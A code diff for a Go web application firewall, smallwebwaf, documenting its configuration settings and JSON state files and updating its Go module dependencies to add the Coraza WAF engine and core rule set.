+- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
+  within which breaking a limit again lengthens the next ban. A duration.
+- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
+  one that would be longer is permanent. A duration.
+- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
+  attack. A duration.
+- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
+  covers: the prefix length of its netblock, from 0 to 32.
+
+## Reputation
+
+- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
+  `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
+  without a user or a fragment. A URL listed twice is refused.
+- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
+  last try before it is fetched again. A duration of `1h` or more.
+- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
+- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
+  `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
+  zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
+  is refused, whatever its case or key.
+- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
+  such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
+  port, 53 when none is given. Unset, the host's resolver is used.
+- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
+  control character in it is refused.
+- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
+  from 0 to 100, that is a hit.
+- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day,
+  a whole number above zero. AbuseIPDB's free accounts may make 1,000.
+- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
+  you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
+  user or a fragment; its decision list is at `v1/decisions` under it. Set
+  without the key, it is refused. So is a decision list URL that is also in
+  `SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`.
+- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
+  `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
+  URL, it is refused.
+- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
+  `log`, for DNS blocklist and AbuseIPDB hits.
+- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
+  AbuseIPDB's score is used. A duration.
+- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
+  check with AbuseIPDB may take. A duration.
+
+## Alerting
+
+- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
+  alert as a JSON object. An `http` or `https` URL without a user or a fragment.
+- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
+  such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
+  value. A value cannot hold a comma.
+- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
+  that receives each alert as a message, checked as the webhook URL is.
+- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
+  alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
+  as the webhook URL is.
+- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
+  character in it is refused.
+- `SWWAF_ALERT_EVENTS` (default
+  `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
+  the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
+  but `summary`. Any other name is refused.
+- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
+  repeats are held back. A duration or `off`.
+- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
+  whole number above zero, or `off`.
+
+## Anomaly thresholds
+
+Each scope has four thresholds: the most requests and the most bytes counted in
+a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
+default. The four thresholds per client are:
+
+- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
+- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
+- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
+- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
+
+The other scopes' names have another prefix before the same four endings, such
+as `REQUESTS_PER_MINUTE`:
+
+- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
+  netblock's length:
+    - `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
+      client;
+    - `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
+      client.
+- `SWWAF_ANOMALY_ASN_...`: per AS number.
+- `SWWAF_ANOMALY_TOTAL_...`: the whole service.
+- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole.
+  `SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
+  as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
+  name, or with a bad netblock, is refused. So is a name used twice.
+
+## Settings given as files
+
+To give a token as a file, as "Tokens" under "Deployment" in
+[`SPEC.md`](../SPEC.md) describes, make the file on the host:
+
+```sh
+mkdir -p /srv/app/tokens
+openssl rand -hex 32 > /srv/app/tokens/metrics
+chown 65532:65532 /srv/app/tokens/metrics
+chmod 0400 /srv/app/tokens/metrics
+```
+
+Then mount its directory into the container read-only, and name the file:
+
+```sh
+docker run \
+    -v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \
+    -e SMALLWEBWAF_COMMAND=servewaf \
+    -e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \
+    ...
+```
+
+## Fixed limits
+
+A few limits are fixed rather than settings:
+
+- at most 100,000 GeoJS answers are kept;
+- at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
+- at most 1,000 DNS blocklist queries are under way at once;
+- at most 20,000 anomaly counters are kept;
+- each alert destination's queue holds at most 1,000 alerts;
+- `servewaf` holds at most 10,000 answered requests awaiting their reports;
+- `servewaf` refuses a request with more than 50 cookies or more than 100 header
+  fields (see "Answering in time" under "`servewaf`" in
+  [`SPEC.md`](../SPEC.md));
+- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
+  kept-open connection idle for 120 seconds;
+- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers
+  `502` to a longer one.
+
+## `servewaf`'s answer and `rproxy`'s wait
+
+`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
+Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question
+waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are
+asked in the background (see "Answering in time" under "`servewaf`" in
+[`SPEC.md`](../SPEC.md)).
+
+## `rproxy`
+
+`smallwebwaf rproxy` reads the settings below and no others. They are read once
+at start, and an invalid value stops the start. None can be given as a file,
+since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says
+what they do.
+
+A time here is a whole number of milliseconds above zero, such as `2000`.
+
+- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or
+  `https` URL with a host and an optional port, and nothing more. `rproxy`
+  speaks HTTP/1.1 to it.
+- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s
+  answer, to a question and to a report. A time; never `off`.
+- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
+  `servewaf` cannot be connected to, does not answer at all, or does not answer
+  within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
+  `503`. It does not apply to an answer `servewaf` gives, such as an error.
+- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
+  `off`.
+- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
+  `off`.
+- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
+  send its request line and headers. It then also bounds, from the end of the
+  headers, the time until the app has been sent the whole request. A time or
+  `off`.
+- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
+  from the end of the request to its last byte reaching the visitor. A time or
+  `off`.
+- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
+- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
+  `https` URL with a host and an optional port, and nothing more.
+- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
+  the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
+  nothing. A client outside these netblocks cannot claim another address. Where
+  other containers reach `rproxy` directly, or visitors on a private network
+  reach traefik, they can name another address in the header. Narrowing the
+  setting to traefik's own network closes that gap.
+
+## The image's command
+
+`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what
+its health check checks: `rproxy` or `servewaf` (see "Deployment" in
+[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
+
+## Where earlier settings went
+
+Nothing reads these names any more:
+
+- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
+- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
+- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
+- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
+- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are
+  `SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
+- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are
+  `SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
+- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have
+  no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
+  takes a request line and headers of at most 32 KiB.

docs/state-files.md

@@ -0,0 +1,104 @@
+# State files
+
+The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent
+state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
+Each has a top-level `version` of 1.
+
+## `bans.json`
+
+Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of
+those `servewaf` made. Per entry:
+
+- `netblock`, `start` and `expires` (`null` for a permanent ban);
+- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
+- `reason`: a short reason;
+- `lifted`: when an admin lifted it, if one did;
+- `notes`: the notes below.
+
+An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
+`notes` and `cause` may be left out, and the cause is then `admin`:
+
+```json
+{
+    "version": 1,
+    "bans": [
+        {
+            "netblock": "203.0.113.0/24",
+            "start": "2026-10-06T12:00:00Z",
+            "expires": null,
+            "reason": "probes for logins"
+        }
+    ]
+}
+```
+
+"Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
+ban. The notes:
+
+- `asn`, `as_name` and `country`: the client's, added when the lookup answers
+  (empty when lookups are off);
+- for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
+  `window` and `count`: what the limit was on, the limit, its window and the
+  count reached;
+- `limit_percent` and `limit_percent_setting`: the client's percentage of that
+  limit and the setting that gave it, when a setting lowered it;
+- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
+- `reputation`: the sources the client was on, each with its `source` and, for
+  AbuseIPDB, its `score`;
+- `request`: the request that caused the ban, each text cut to 256 bytes:
+    - `time`, `method` and `host`;
+    - `path`, with its query string;
+    - `status` and `user_agent`;
+- `requests` and `refused`: the netblock's requests since it was first seen, and
+  how many this ban has refused so far, kept up to date while the ban lasts;
+- `earlier_bans`: how many earlier bans the netblock had, by cause.
+
+## `clients.json`
+
+Per client, one per line: its minute, hour and day counters, and its history
+since it was first seen:
+
+- the first and last time seen;
+- the AS number, AS name and country last looked up, and when;
+- total requests, and how many were forwarded and how many refused;
+- bytes in each direction;
+- responses by status class;
+- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file
+  may also hold `token_refused`, which is kept, and which nothing adds to.
+
+## `lookups.json`
+
+GeoJS answers, one per line:
+
+- `client`;
+- `asn`, `as_name` and `country`;
+- `answered`: when GeoJS answered;
+- `used`: when the answer was last used.
+
+## `reputation.json`
+
+- the last good copy of each list fetched from a URL, with when it was last
+  tried;
+- each DNS blocklist verdict still in use;
+- AbuseIPDB's scores, and the checks spent today.
+
+## `alerts.json`
+
+- the anomaly counters;
+- the alert cooldowns: for each event and netblock, source, file or anomaly
+  scope, when it was last sent and the count of repeats held back since;
+- the alerts sent and held back in the current hour;
+- the alerts waiting for each destination.
+
+## Sizes
+
+- `clients.json`: about 1 KiB per client, about 20 MiB at the default
+  `SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
+  disk writes a day.
+- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
+  the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to
+  about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
+  more.
+- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
+  full.
+- `reputation.json` and `alerts.json`: usually a few MiB or less.

go.mod

@@ -3,19 +3,41 @@ module sneak.berlin/go/smallwebwaf
 go 1.26.0
 
 require (
+	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
+	github.com/corazawaf/coraza/v3 v3.8.1
 	github.com/fsnotify/fsnotify v1.10.1
 	github.com/hashicorp/golang-lru/v2 v2.0.7
+	github.com/maxmind/mmdbwriter v1.2.0
+	github.com/oschwald/maxminddb-golang/v2 v2.7.0
 	github.com/prometheus/client_golang v1.24.1
 )
 
 require (
 	github.com/beorn7/perks v1.0.1 // indirect
 	github.com/cespare/xxhash/v2 v2.3.0 // indirect
+	github.com/corazawaf/libinjection-go v0.3.3 // indirect
+	github.com/goccy/go-json v0.10.5 // indirect
+	github.com/goccy/go-yaml v1.19.2 // indirect
+	github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
+	github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
+	github.com/kaptinlin/go-i18n v0.1.4 // indirect
+	github.com/kaptinlin/jsonschema v0.4.6 // indirect
 	github.com/kylelemons/godebug v1.1.0 // indirect
+	github.com/magefile/mage v1.17.0 // indirect
 	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
+	github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
 	github.com/prometheus/client_model v0.6.2 // indirect
 	github.com/prometheus/common v0.70.1 // indirect
 	github.com/prometheus/procfs v0.21.1 // indirect
-	golang.org/x/sys v0.47.0 // indirect
+	github.com/tidwall/gjson v1.18.0 // indirect
+	github.com/tidwall/match v1.1.1 // indirect
+	github.com/tidwall/pretty v1.2.1 // indirect
+	github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
+	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
+	golang.org/x/net v0.58.0 // indirect
+	golang.org/x/sync v0.23.0 // indirect
+	golang.org/x/sys v0.48.0 // indirect
+	golang.org/x/text v0.41.0 // indirect
 	google.golang.org/protobuf v1.36.11 // indirect
+	rsc.io/binaryregexp v0.2.0 // indirect
 )

go.sum

@@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
 github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
 github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
 github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
-github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
-github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
+github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
+github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
+github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
+github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
+github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
+github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
+github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
+github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
+github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
 github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
 github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
+github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
+github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
+github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
+github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
 github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
 github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
+github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
+github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
+github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
+github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
 github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
 github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
+github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
+github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
+github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
+github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
+github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
+github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
 github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
 github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
 github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
 github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
+github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
+github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
+github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
+github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
+github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
+github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
+github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
+github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
+github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
+github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
+github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
 github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
 github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
 github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -26,15 +58,40 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
 github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
 github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
 github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
-github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
-github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
+github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
+github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
+github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
+github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
+github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
+github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
+github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
+github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
+github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
 go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
 go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
 go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
 go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ=
-golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
-golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
+go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
+go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
+go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
+golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
+golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
+golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
+golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
+golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
+golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
+golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
+golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
+golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
+golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
+golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
+golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
 google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
